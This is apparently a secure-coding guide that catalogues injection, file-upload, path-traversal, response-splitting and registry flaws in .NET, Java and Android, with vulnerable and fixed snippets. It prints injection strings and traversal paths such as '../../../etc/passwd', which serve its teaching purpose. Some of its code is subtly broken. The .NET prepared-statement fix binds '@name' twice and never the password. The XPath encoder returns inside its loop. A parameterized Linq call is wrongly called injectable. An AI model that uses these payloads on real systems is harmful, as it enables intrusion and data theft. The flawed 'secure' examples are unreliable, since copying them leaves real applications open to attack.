Although allowing users, such as support members, to be able to execute free SQL statements at the backend database may seem desirable with every security precautions already taken, such as authentication, authorization, input validation, etc, this mechanism should be treated as a very dangerous medium at all means.

Web applications shouldn't be used as a direct relay proxy for remote databases.

At bare minimum the following security items should be provided at all times;

- No Cross Site Scripting vulnerabilities
- No Cross Site Request Forgery vulnerabilities
- No Insecure File Upload vulnerabilities
- No most of the server side Injection or specifically Code Injection vulnerabilities
- Strict authentication and authorization mechanisms
- Strict and detailed logging

References	• CWE-419 • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 A1 • PCI DSS 6.5.1

SQL Injection

Title	SQL Injection
Summary	The attacker can inject unauthorized partial SQL query strings and steal data, such as user passwords, or run unauthorized commands on database server. This can lead to total ownage of database and other servers in the corporate environment.
Severity	Critical
Cost Fix	Low
Trust Level	High
Labels	database
ID	
Description	
Technology	.NET

SQL Injection is the most popular attack vector that hackers exploit. It is also by far the most known attack method that developers and business owners are aware of.

The SQL standard supports complex queries and it is the de facto query standard against stored data in web applications.

Let the backend code is similar to the following snippet;

```
SqlConnection con = new SqlConnection(connStr);
SqlCommand sqlComm = new SqlCommand(con);
sqlComm.CommandText =
"SELECT * FROM users WHERE ( name = '" + Request["name"] + "' and passwd  = '" + Request["passwd"] )";
con.Open();
SqlDataReader DR = sqlComm.ExecuteReader();
```

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial SQL filter in the program, result in SQL injection. The attacker can potentially manipulate the SQL query and access the information that he can't access otherwise.

For example, by sending admin' or 2 > 1) -- as Request["name"], the attacker may authenticate as admin user although he is not the user having the username admin. This is just one of the possibilities that attacker can do with the vulnerable code such as above.

SQL Injection can exist in dynamic SQL query constructions and stored procedures. It is also important to know that using ORM frameworks such as LinqToSql, Entity Framework or NHibernate doesn't %100 prevent SQL injection. It is still developer's job to be careful not to construct sql queries dynamically. For example analyze the code snippet below;

```
Query query = session.createQuery("from users where name ='" + Request["name"] + "'");
```

There's still a room for hacker to manipulate the query by providing smart values for Request["name"].

Technology	JAVA

SQL Injection is the most popular attack vector that hackers exploit. It is also by far the most known attack method that developers and business owners are aware of.

The SQL standard supports complex queries and it is the de facto query standard against stored data in web applications.

Let the backend code is similar to the following snippet;

```
String custname = request.getParameter("name");
query = "SELECT balance FROM data WHERE name = '" + custname + "'";
pstmt = connection.prepareStatement(query);
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
```

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial SQL filter in the program, result in SQL injection. The attacker can potentially manipulate the SQL query and access the

information that he can't access otherwise.

For example, by sending nouser' or 2 > 1) -- as request.getParameter("name"), the attacker may fetch all users although he doesn't have the appropriate role to do so. This is just one of the possibilities that attacker can do with the vulnerable code such as above.

SQL Injection can exist in dynamic SQL query constructions and stored procedures. It is also important to know that using ORM frameworks, such as Hibernate, doesn't %100 prevent SQL injection. It is still developer's job to be careful not to construct sql queries dynamically. For example analyze the code snippet below;

```
String query = "from Users where uname = '" + request.getParameter("name") + "'";
List users = hibernate.find(query);
if (users.length == 0)
  return  ERROR_LOGIN;
if (!checkPasswd(users.get(0).getPasswd(), pass))
  return ERROR_LOGIN;
```

There's still a room for hacker to manipulate the query by providing smart values for request.getParameter("name").

Technology	ANDROID

SQL Injection is the most popular attack vector that hackers exploit. It is also by far the most known attack method that developers and business owners are aware of.

The SQL standard supports complex queries and it is the de facto query standard against stored data in web applications.

Let the backend code is similar to the following snippet;

```
button.setOnClickListener(new View.OnClickListener() {
  public void onClick(View v) {
    DBAdapter db = new DBAdapter(v.getContext());
    TextView tv =  ((TextView)findViewById(R.id.editText1));
    db.open();
    Cursor c = getTitle(tv.getText().toString());
    if (c.moveToFirst())
        DisplayTitle(c);
    else
        Toast.makeText(v.getContext(), "No title found", Toast.LENGTH_LONG).show();
     db.close();
  }
});

public Cursor getTitle(String title) throws SQLException{
```

```
    Cursor mCursor =
    db.query(true, DATABASE_TABLE,
                    new String[] { KEY_ROWID, KEY_ISBN, KEY_TITLE, KEY_PUBLISHER },
                    KEY_TITLE + "='" + title +"'", null, null, null, null, null);

    if (mCursor != null) {
            mCursor.moveToFirst();
    }

    Log.i("DB", "Row fetched: " + title);

    return mCursor;
}
```

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial SQL filter in the program, result in SQL injection. The attacker can potentially manipulate the SQL query and access the information that he can't access otherwise.

For example, by entering notitle' or 2 > 1) -- as the value of the text field, the attacker may fetch any title of the book although he may not have the appropriate role to do so. This is just one of the possibilities that attacker can do with the vulnerable code such as above.

Mitigation

Technology	.NET

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If prepared statements is not an option (you are using an ORM solution or table names/column names are your target) then apply a very strict whitelisting
- If using ORM solutions try not to construct sql queries dynamically
- If the above options are not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual escaping on the untrusted data before mixing it with code.

The most effective prevention technique against SQL Injection is using prepared statements instead of dynamic queries with string concatenation.

```
SqlConnection con = new SqlConnection(connStr);
SqlCommand sqlComm = new SqlCommand(con);
sqlComm.CommandText = "SELECT * FROM users WHERE ( name = @name and passwd = @passwd)";
sqlComm.Parameters.Add("@name", SqlDbType.NVarChar);
sqlComm.Parameters["@name"].Value = Request["name"];
sqlComm.Parameters.Add("@name", SqlDbType.NVarChar);
sqlComm.Parameters["@name"].Value = Request["passwd"];
con.Open();
SqlDataReader DR = sqlComm.ExecuteReader();
```

Technology	JAVA

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If prepared statements is not an option (you are using an ORM solution or table names/column names are your target) then apply a very strict whitelisting
- If using ORM solutions try not to construct sql queries dynamically
- If the above options are not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual escaping on the untrusted data before mixing it with code.

The most effective prevention technique against SQL Injection is using prepared statements instead of dynamic queries with string concatenation.

```
String namePrefix ="a";
String query = "select * from user where id like ?";
PreparedStatement stmt = con.prepareStatement(query);
stmt.setString(1, "%" + namePrefix + "%");
ResultSet rst = stmt.executeQuery();
```

Technology	ANDROID

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If prepared statements is not an option (you are using an ORM solution or table names/column names are your target) then apply a very strict whitelisting
- If using ORM solutions try not to construct sql queries dynamically
- If the above options are not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short,

apply contextual escaping on the untrusted data before mixing it with code.

The most effective prevention technique against SQL Injection is using prepared statements instead of dynamic queries with string concatenation.

```
public Cursor getTitleSecure(String title) throws SQLException{
   Cursor mCursor =
   db.query(true, DATABASE_TABLE,
                new String[] { KEY_ROWID, KEY_ISBN, KEY_TITLE, KEY_PUBLISHER },
                KEY_TITLE + "=?", new String[] {title}, null, null, null, null);

   if (mCursor != null) {
         mCursor.moveToFirst();
   }

   Log.i("DB", "Row fetched: " + title);

   return mCursor;
}
```

References	
	• CWE-89 • CWE-564 • CWE-74 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Linq SQL Injection

Title	Linq SQL Injection
Summary	The attacker can inject unauthorized partial SQL query strings and steal data, such as user passwords, or run unauthorized commands on database server. This can lead to total ownage of database and other servers in the corporate environment.
Severity	Critical
Cost Fix	Low
Trust Level	High

ID	
Description	
Technology	.NET

SQL Injection is the most popular attack vector that hackers exploit. It is also by far the most known attack method that developers and business owners are aware of.

The SQL standard supports complex queries and it is the de facto query standard against stored data in web applications.

Let the backend code is similar to the following snippet;

```
using System.Data.Linq;

// db is an instance of DBContext or a class inherited DBContext
db.ExecuteQuery<Customer>("select * from Customers where City = {0}", Request["city"]);
```

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial SQL filter in the program, result in SQL injection. The attacker can potentially manipulate the SQL query and access the information that he can't access otherwise.

For example, by sending admin' or 2 > 1) -- as Request["city"], the attacker may force the application return all customers in all cities although he is not the user having the required role to accomplish this. This is just one of the possibilities that attacker can do with the vulnerable code such as above.

Mitigation

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If prepared statements is not an option (you are using an ORM solution or table names/column names are your target) then apply a very strict whitelisting
- If using ORM solutions try not to construct sql queries dynamically
- If the above options are not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short,

apply contextual escaping on the untrusted data before mixing it with code. The most effective prevention technique against SQL Injection is using prepared statements instead of dynamic queries with string concatenation. However, if there's a necessity to use insecure APIs such as ExecuteCommand of DBContext, then a rigid whitelist should be employed before using such APIs with user input.

References	• CWE-89 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

NHibernate SQL Injection

Title	NHibernate SQL Injection
Summary	The attacker can inject unauthorized partial SQL query strings and steal data, such as user passwords, or run unauthorized commands on database server. This can lead to total ownage of database and other servers in the corporate environment.
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET
SQL Injection is the most popular attack vector that hackers exploit. It is also by far the most known attack method that developers and business owners are aware of. The SQL standard supports complex queries and it is the de facto query standard against stored data in web applications. SQL Injection can exist in dynamic SQL query constructions and stored procedures. It is	

also important to know that using ORM frameworks such as NHibernate doesn't %100 prevent SQL injection. It is still developer's job to be careful not to construct sql queries dynamically. For example analyze the code snippet below;

```
using NHibernate;
…
ISessionFactory sessions = cfg.BuildSessionFactory();
// NHibernate.ISession
ISession session = sessions.OpenSession(conn);
Query query = session.createQuery("from users where name ='" + Request["name"] + "'");
```

There's still a room for hacker to manipulate the query by providing smart values for Request["name"].

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial SQL filter in the program, result in SQL injection. The attacker can potentially manipulate the SQL query and access the information that he can't access otherwise.

For example, by sending admin' or 2 > 1) -- as Request["name"], the attacker may authenticate as admin user although he is not the user having the username admin. This is just one of the possibilities that attacker can do with the vulnerable code such as above.

Mitigation

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If prepared statements is not an option (you are using an ORM solution or table names/column names are your target) then apply a very strict whitelisting
- If using ORM solutions try not to construct sql queries dynamically
- If the above options are not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual escaping on the untrusted data before mixing it with code.

The most effective prevention technique against SQL Injection is using prepared statements instead of dynamic queries with string concatenation.

```
var query = "SELECT * from users where name = :username";
```

```
var session = sessionFactory.OpenSession();
var result = session.CreateSQLQuery(query).SetString("username",Request["name"]).List();
```

References	• CWE-564 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Hibernate SQL Injection

Title	Hibernate SQL Injection
Summary	The attacker can inject unauthorized partial SQL query strings and steal data, such as user passwords, or run unauthorized commands on database server. This can lead to total ownage of database and other servers in the corporate environment.
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	JAVA

SQL Injection is the most popular attack vector that hackers exploit. It is also by far the most known attack method that developers and business owners are aware of.

The SQL standard supports complex queries and it is the de facto query standard against stored data in web applications.

SQL Injection can exist in dynamic SQL query constructions and stored procedures. It is also important to know that using ORM frameworks such as Hibernate doesn't %100 prevent SQL injection. It is still developer's job to be careful not to construct sql queries dynamically. For example analyze the code snippet below;

```
String query = "from Users where uname = '" + request.getParameter("name") + "'";
List users = hibernate.find(query);
if (users.length == 0)
  return  ERROR_LOGIN;
if (!checkPasswd(users.get(0).getPasswd(), pass))
  return ERROR_LOGIN;
```

There's still a room for hacker to manipulate the query by providing smart values for request.getParameter("name").

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial SQL filter in the program, result in SQL injection. The attacker can potentially manipulate the SQL query and access the information that he can't access otherwise.

For example, by sending admin' or 2 > 1) -- as request.getParameter("name"), the attacker may authenticate as admin user although he is not the user having the username admin. This is just one of the possibilities that attacker can do with the vulnerable code such as above.

Mitigation

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If prepared statements is not an option (you are using an ORM solution or table names/column names are your target) then apply a very strict whitelisting
- If using ORM solutions try not to construct sql queries dynamically
- If the above options are not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual escaping on the untrusted data before mixing it with code.

The most effective prevention technique against SQL Injection is using prepared statements instead of dynamic queries with string concatenation.

```
String query = "from Users where uname = ?";
List users = hibernate.find(query, uname, StringType);
if (users.length == 0)
```

```
            return  ERROR_LOGIN;
if (!checkPasswd(users.get(0).getPasswd(), pass))
  return ERROR_LOGIN;
```

References	• CWE-564 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

XPath Injection

Title	XPath Injection
Summary	The attacker can inject unauthorized partial XPath query strings and steal information, such as tokens or the whole XML itself
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Using path expressions XPath acts as a query language for XML document lookups. It contains a set of functions for more simple to more complex queries.

Let the backend code is similar to the following snippet;

```
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("books.xml");

XPathNavigator nav = XmlDoc.CreateNavigator();
String xPath = "//book/title[text()='" +  Request["title"]+ "']/text()";

XPathExpression e = nav.Compile(xPath);
nodeSet = (XPathNodeIterator)nav.Evaluate(e);
```

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as title coming from the user, and code, as the partial XPath filter in the program, result in XPath injection. The attacker can potentially manipulate the XPath query and access the information that he can't access otherwise.

For example, by sending XML' or '2' > '1 as Request["title"], the attacker may access every book in the target XML document that he can't access otherwise.

Technology	JAVA

Using path expressions XPath acts as a query language for XML document lookups. It contains a set of functions for more simple to more complex queries.

Let the backend code is similar to the following snippet;

```
try{
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  DocumentBuilder builder = factory.newDocumentBuilder();
  InputStream inputStream = servletContext.getResourceAsStream("/WEB-INF/books.xml");
  Document doc = builder.parse(inputStream);

  XPath xpath = XPathFactory.newInstance().newXPath();

  String filter = "//book[starts-with(title,'" + title + "')]";
  XPathExpression xl = xpath.compile(filter);
  NodeList nodeList = (NodeList) xl.evaluate(doc, XPathConstants.NODESET);

  for (int i = 0; i < nodeList.getLength(); i++) {
            Node node = nodeList.item(i);
...
```

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as title coming from the user, and code, as the partial XPath filter in the program, result in XPath injection. The attacker can potentially manipulate the XPath query and access the information that he can't access otherwise.

For example, by sending XML' or '2' > '1 as request.getParameter("title"), the attacker may access every book in the target XML document that he can't access otherwise.

Mitigation

Technology	.NET

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code.

The below code defines a method that uses Microsoft AntiXSS Library for proper contextual encoding;

```
static char[] IMMUNE_XPATH = { ',', '.', '-', '_', ' ' };

static string EncodeForXPath(string param){
   string encodedParam = String.Empty;
   if (String.IsNullOrEmpty(param))
   {
      return encodedParam;
   }

   char[] chars = param.ToCharArray();
   foreach (char aChar in chars)
   {
      if (IMMUNE_XPATH.Contains(aChar))
      {
         encodedParam += aChar;
      }
      else
      {
         encodedParam += Encoder.HtmlEncode(aChar.ToString());
      }
      return encodedParam;
}
```

After defining the method, wrapping Request["title"] with it yield an encoded and therefore sanitized version of the input. The rest of the code is the same.

```
string encodedTitle = EncodeForXPath(Request["title"]);

XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("books.xml");

XPathNavigator nav = XmlDoc.CreateNavigator();
String xPath = "//book/title[text()='" +  encodedTitle + "']/text()";
```

```
XPathExpression e = nav.Compile(xPath);
nodeSet = (XPathNodeIterator)nav.Evaluate(e);
```

Technology	JAVA

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code.

The below code defines a method that uses OWASP Encoder API for proper contextual encoding;

After defining the method, wrapping request.getParameter("title") with it yield an encoded and therefore sanitized version of the input. The rest of the code is the same.

```
try{
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  DocumentBuilder builder = factory.newDocumentBuilder();
  InputStream inputStream = servletContext.getResourceAsStream("/WEB-INF/books.xml");
  Document doc = builder.parse(inputStream);

  XPath xpath = XPathFactory.newInstance().newXPath();

  title = Encode.forXmlAttribute(title);
  String filter = "//book[starts-with(title,'" + title + "')]";
  XPathExpression xl = xpath.compile(filter);
```

References	

- CWE-643
- HIPAA Security Rule 45 CFR 164.312(a)(1)
- HIPAA Security Rule 45 CFR 164.312(c)(2)
- OWASP Top 10 A1
- PCI DSS 6.5.1

Possible Insecure File Upload

Title	Insecure File Upload

Summary	The attacker can upload a code behind code file, such as asp, aspx or cshtml, onto the target application server and execute unauthorized commands on the target operating system through requests via web browser which in turn leads to information disclosure or total system ownage
Severity	Critical
Cost Fix	Medium
Trust Level	Low
ID	
Description	
Technology	.NET

In web applications, big unstructured data transfer is usually executed through file uploads. Profile pictures, pdf or office documents, various images are some of the artifacts that are uploaded to web application backends.

Programming frameworks provide decent file upload APIs to developers in order to ease the file transfer and process development.

Let the backend code is similar to the following snippet;

```
[HttpPost]
public ActionResult Index(HttpPostedFileBase file) {

  if (file.ContentLength > 0) {
        var fName = Path.GetFileName(file.FileName);
        var path = Path.Combine(Server.MapPath("~/uplds"), fName);
        file.SaveAs(path);
  }

  return RedirectToAction("Index");
}
```

An attacker can upload any file type of his choosing without any positive restrictions (whitelisting). One of the most dangerous file types to upload in these situations are called web shells.

A web shell is a dynamic script that can be uploaded to a web/application server to enable

remote controlling of the current machine. Attacker uploading a web shell on the target system can run operating system commands, access source codes and/or credentials, moreover, can pivot the target machine to move further onto internal hosts.

Technology	JAVA

In web applications, big unstructured data transfer is usually executed through file uploads. Profile pictures, pdf or office documents, various images are some of the artifacts that are uploaded to web application backends.

Programming frameworks provide decent file upload APIs to developers in order to ease the file transfer and process development.

Let the backend code is similar to the following snippet;

```
protected void processRequest(HttpServletRequest request, HttpServletResponse response)
  throws ServletException, IOException {

  Part filePart = request.getPart("file");
  String fileName = getFilename(filePart);
  boolean fileUploaded = false;

  if(filePart != null && fileName != null){

          InputStream fileContent = filePart.getInputStream();
          byte[] bytes = IOUtils.toByteArray(fileContent);


          OutputStream out = new FileOutputStream(UploadPath + fileName);

          out.write(bytes);
          fileUploaded = true;

          fileContent.close();
          out.flush();
          out.close();
  }
```

An attacker can upload any file type of his choosing without any positive restrictions (whitelisting). One of the most dangerous file types to upload in these situations are called web shells.

A web shell is a dynamic script that can be uploaded to a web/application server to enable remote controlling of the current machine. Attacker uploading a web shell on the target system can run operating system commands, access source codes and/or credentials, moreover, can pivot the target machine to move further onto internal hosts.

Mitigation	
Technology	.NET

Uploaded files should be controlled vigorously. Some of the check items are listed below;

- The uploaded file extension should be checked against a whitelist of extensions, such as strictly against jpg, jpeg, bmp, gif.
- The extension of uploaded files should be parsed correctly with the knowledge of the attacker might send file names such as mypic.jpg.asp or mypic.asp;.jpg
- The uploaded file names might be replaced with GUIDs or random long token values when saving them on the file system
- The content of the uploaded files should be checked by using appropriate APIs. For example, an uploaded image file byte content can be fed into Image API or an uploaded Excel file byte content can be fed into Office frameworks in order to make sure the type of the file is right without looking at the Content-Type, which can easily be manipulated through HTTP requests.
- The size of the uploaded file should be checked against minimum and maximum bytes.
- The uploaded files should be stored under a path different than the web/application root directories. They may as well be stored in other persistent storages such as databases.
- In order to minimize the attacks, the upload process might be utilized only with authenticated users, if possible.
- A virus scanner, albeit not enough, should be run against the uploaded files.

Technology	.JAVA

Uploaded files should be controlled vigorously. Some of the check items are listed below;

- The uploaded file extension should be checked against a whitelist of extensions, such as strictly against jpg, jpeg, bmp, gif.
- The extension of uploaded files should be parsed correctly with the knowledge of the attacker might send file names such as mypic.jpg.asp or mypic.asp;.jpg
- The uploaded file names might be replaced with GUIDs or random long token values when saving them on the file system
- The content of the uploaded files should be checked by using appropriate APIs. For example, an uploaded image file byte content can be fed into Image API or an uploaded Excel file byte content can be fed into Office frameworks in order to make sure the type of the file is right without looking at the Content-Type, which can easily be manipulated through HTTP requests.
- The size of the uploaded file should be checked against minimum and maximum

bytes. ● The uploaded files should be stored under a path different than the web/application root directories. They may as well be stored in other persistent storages such as databases. ● In order to minimize the attacks, the upload process might be utilized only with authenticated users, if possible. ● A virus scanner, albeit not enough, should be run against the uploaded files. ● Java Security Manager can be utilized to minimize the effects of the post exploitation scenarios.	
References	● CWE-434 ● US-CERT-TA15-314A ● HIPAA Security Rule 45 CFR 164.312(a)(1) ● HIPAA Security Rule 45 CFR 164.312(c)(2) ● OWASP Top 10 A6 ● PCI DSS 6.5.6

Directory Traversal

Title	Directory Traversal
Summary	The attacker may access sensitive web/application server configuration files, source code or sensitive operating system files by manipulating the File I/O operations executed by the application
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET
Executing File I/O API operations are popular in web applications. Some of these file APIs involve in downloading or uploading files to or from the target system. Programming frameworks provide decent file I/O APIs to developers in order to ease the file transfer and process development.	

Let the backend code is similar to the following snippet;

```
using System.IO;
...

String filename = Request["fileName"];
if(File.Exists(@"D:\wwwroot\reports\" + filename))
{
    File.Delete(@"D:\wwwroot\reports\" + filename);
}
```

The above code takes a parameter from the untrusted user and use it as a file name to check the existence of the file. If the file exists, it gets deleted.

The attacker, providing filename similar to the following

```
..\Web.Config
```

may be able to delete the web.config file of the web application.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as the name of the file coming from the user, and code, as the partial file directory path in the program, result in Directory Traversal. The attacker can potentially manipulate the file name, and access the sensitive information through system files that he can't access otherwise.

As a side note, the Directory Traversal term is used interchangeably with Path Manipulation and Path Traversal.

Technology	JAVA

Executing File I/O API operations are popular in web applications. Some of these file APIs involve in downloading or uploading files to or from the target system. Programming frameworks provide decent file I/O APIs to developers in order to ease the file transfer and process development.

Let the backend code is similar to the following snippet;

```
String fileName = request.getParameter("file");

if(fileName == null){
```

```
  return;
}

File downloadedFile = new File(UploadPath + fileName);

if(!downloadedFile.exists()){
  return;
}
OutputStream out = null;
FileInputStream in = null;
try{
  out = response.getOutputStream();
  in = new FileInputStream(downloadedFile);
  byte[] buffer = new byte[4096];
  int length;
  while ((length = in.read(buffer)) > 0){
   out.write(buffer, 0, length);
  }
}
catch(IOException ioe){
  // ...
}
```

The above code takes a parameter from the untrusted user and use it as a file name to check the existence of the file. If the file exists, its content get read and outputted.

The attacker, providing filename similar to the following

```
../../../../../../../../../etc/passwd
```

may be able to get the /etc/passwd file of the underlying Operating System.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two piece of information (code and data) apart, until the runtime. In the above code, mixing the data, as the name of the file coming from the user, and code, as the partial file directory path in the program, result in Directory Traversal. The attacker can potentially manipulate the file name, and access the sensitive information through system files that he can't access otherwise.

As a side note, the Directory Traversal term is used interchangeably with Path Manipulation and Path Traversal.

Mitigation	
Technology	.NET

Applying a whitelist input strategy is a must for preventing Directory Traversal attacks. Untrusted user provided file name, or input, should be checked against a strict file name regular expression.

Such a regular expression might be,

^[a-zA-Z0-9_\.]{1,255}$

One another method of preventing Directory Traversal is to apply path normalization to the input and then comparing it back to the original input, such as;

```
String filename = Request["fileName"];
string fName = new FileInfo(filename).Name;
if(fName != filename)
{
   // log alert
            // throw new Exception();
}
```

In the above code, the user controlled filename should be the same as the normalized file name, otherwise an exception is thrown.

Technology	JAVA

Applying a whitelist input strategy is a must for preventing Directory Traversal attacks. Untrusted user provided file name, or input, should be checked against a strict file name regular expression.

Such a regular expression might be,

^[a-zA-Z0-9_\.]{1,255}$

One another method of preventing Directory Traversal is to apply path normalization to the input and then comparing it back to the original input, such as;

```
File canonicalFile = (new File(fileName)).getCanonicalFile();
if(fileName.compareTo(canonicalFile.getName()) != 0)
{
  // log error
  // throw exception
}
```

In the above code, the user controlled filename should be the same as the normalized file name, otherwise an exception is thrown.

References	• CWE-22 • CWE-73 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.8

HTTP Response Splitting

Title	HTTP Response Splitting
Summary	The attacker can trick legitimate users to believe forged content as if it is served from the legitimate server
Severity	Critical
Cost Fix	Low
Trust Level	Medium
ID	
Description	
Technology	.NET

HTTP is a text based protocol. It contains CR/LF (newline) characters as meta characters denoting the command delimiters.

Therefore, for an attacker being able to inject forged CR/LF characters into the HTTP requests or responses means the possibility of manipulating the HTTP commands for other users.

Although recent frameworks have been taking preventions against this weakness, it's important to be aware of this attack scenario and proactively eradicate it validation.

One such a weakness is present in the code below;

```
public class BooksController : ApiController
{
```

```
[HttpPost]
public HttpResponseMessage Check(Credentials credentials)
{
 // check credentials form a token
 String token = GenerateToken(credentials) + “-” + credentials.nonce;
 Response.AppendHeader(“X-App-Token”, token);
 // return
}
```

Sending credentials including a nonce value with CR/LF characters, such as %0d%0a, would enable to create extra HTTP response headers. Using these extra HTTP response headers, attackers can create fake content for HTTP caches, therefore, for end-users utilizing these caches.

There are other possible ways of creating weaknesses and another piece is shown below;

```
string baseURL = "http://www.myserver.com/?redir=";
Response.Redirect(baseURL + Request.Params["id"]);
```

Technology	JAVA

HTTP is a text based protocol. It contains CR/LF (newline) characters as meta characters denoting the command delimiters.

Therefore, for an attacker being able to inject forged CR/LF characters into the HTTP requests or responses means the possibility of manipulating the HTTP commands for other users.

Although recent frameworks have been taking preventions against this weakness, it’s important to be aware of this attack scenario and proactively eradicate it validation.

One such a weakness is present in the code below;

```
@Controller
public class BooksController {

  @RequestMapping(method = RequestMethod.POST)
  public String Check(Credentials credentials, HttpServletResponse response) {
        // check credentials form a token
        String token = GenerateToken(credentials) + "-" + credentials.nonce;
        response.setHeader("X-App-Token", token);
        // return
  }
...
```

Sending credentials including a nonce value with CR/LF characters, such as %0d%0a,

would enable to create extra HTTP response headers. Using these extra HTTP response headers, attackers can create fake content for HTTP caches, therefore, for end-users utilizing these caches.

There are other possible ways of creating weaknesses and another piece is shown below;

```
string baseURL = "http://www.myserver.com/?redir=";
response.sendRedirect(baseURL + request.getParameter("id"));
```

Description

Technology	.NET

Most of the recent frameworks prevents CR/LF characters to go in HTTP response headers, however, proactive mitigation techniques should still be taken such as whitelisting.

The above code pieces before using the parameters fetched from the user should apply a regular expression such as below;

```
[a-zA-Z0-9]{3, 30}
```

The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including CR/LF characters at worst.

Technology	.NET

Most of the recent frameworks prevents CR/LF characters to go in HTTP response headers, however, proactive mitigation techniques should still be taken such as whitelisting.

The above code pieces before using the parameters fetched from the user should apply a regular expression such as below;

```
[a-zA-Z0-9]{3, 30}
```

The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including CR/LF characters at worst.

References	• CWE-113 • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Registry Manipulation

Title	Registry Manipulation
Summary	The attacker can insert a malicious registry value which may corrupt the registry causing denial of service or system ownage
Severity	High
Cost Fix	Low
Trust Level	Low
ID	

Description	Windows registry is a database for storing system or application specific configuration information. Editing the registry incorrectly may severely damage the system since the operating system and applications highly depend on it.
	
	Changing the registry through applications, especially web applications, rarely becomes a requirement. However, allowing untrusted sources to manipulate registry keys or values may cause unexpected problems for both the system and the application.
	
	An example code looks like;
	
	`using Microsoft.Win32;`
	
	`RegistryKey key = Registry.CurrentUser.OpenSubKey("Software", true);`
	
	`key.CreateSubKey("MyAppName");`
	`key = key.OpenSubKey("MyAppName", true);`
	
	`key.CreateSubKey("UserOption");`
	`key = key.OpenSubKey("UserOption", true);`
	
	`key.SetValue("option1", userInputOption.Text);`
	
	The code above uses input for string a user-based application setting value. However, for example, other applications which read and process this value can be exposed to severe problems.

Mitigation	Parameters that are fetched from the user and be stored in the registry

	should be validated against strict whitelists and business logic requirement validations should be applied. For example, the above code, before using the option parameter fetched from the user should apply a regular expression such as below; [a-zA-Z0-9]{3, 30} The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including & character at worst.
